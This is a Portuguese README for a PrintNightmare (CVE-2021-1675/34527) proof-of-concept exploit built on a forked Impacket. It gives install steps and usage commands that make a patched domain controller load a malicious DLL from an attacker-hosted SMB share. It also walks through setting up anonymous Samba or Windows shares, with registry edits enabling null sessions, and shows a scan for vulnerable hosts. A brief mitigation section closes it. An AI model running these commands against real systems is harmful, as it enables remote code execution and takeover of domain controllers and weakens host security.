CVE-2021-1675 / CVE-2021-34527

Implementação do Impacket do PoC PrintNightmare originalmente criado por Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)

Testado em um Controlador de Domínio 2019 totalmente atualizado

Execute DLLs maliciosas remotamente ou localmente

Instalação

Antes de executar o exploit, você precisa instalar minha versão do Impacket e depois disso está tranquilo

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

CVE-2021-1675.py

usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Caminho para a DLL. Exemplo '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            mostra esta mensagem de ajuda e sai

authentication:
  -hashes LMHASH:NTHASH
                        Hashes NTLM, formato é LMHASH:NTHASH

connection:
  -target-ip ip address
                        Endereço IP da máquina alvo. Se omitido, usará o que foi especificado como alvo. Isso é útil quando o alvo é o nome NetBIOS
                        e você não pode resolvê-lo
  -port [destination port]
                        Porta de destino para conectar ao servidor SMB

Exemplo;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

Configuração SMB

A maneira mais fácil de hospedar payloads é usar samba e modificar /etc/samba/smb.conf para permitir acesso anônimo

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

No Windows também é possível

mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

Varredura

Podemos usar rpcdump.py do impacket para escanear hosts potencialmente vulneráveis; se retornar um valor, pode ser vulnerável

rpcdump.py @192.168.1.10 | grep MS-RPRN

Protocol: [MS-RPRN]: Print System Remote Protocol

Mitigação

Desabilitar o serviço Spooler

Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f

Ou desinstale o Print-Services

Uninstall-WindowsFeature Print-Services

CVE-2021-1675